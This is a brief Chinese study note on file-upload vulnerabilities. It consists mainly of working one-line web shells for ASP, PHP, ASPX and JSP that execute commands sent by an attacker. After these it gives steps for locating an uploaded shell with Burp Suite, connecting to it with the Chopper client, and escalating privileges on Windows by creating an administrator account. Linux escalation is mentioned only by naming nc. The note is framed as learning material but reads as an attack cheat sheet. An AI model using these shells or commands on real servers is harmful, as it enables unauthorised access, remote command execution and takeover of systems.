【学习笔记】文件上传漏洞

asp一句话木马

<%If Request("1") "" Then ExecuteGlobal(Request("1"))%>

php一句话木马

<?php eval($_POST[1]);?>

aspx一句话木马

<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>

jsp一句话木马

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

查看webshell的路径名：通过burpsuite的repeater功能提交

后续通过“菜刀”链接webshell 再使用“虚拟终端”功能提权

提权windows命令

net user user password /add

net localgroup administrators user /add

提权linux

用nc工具提权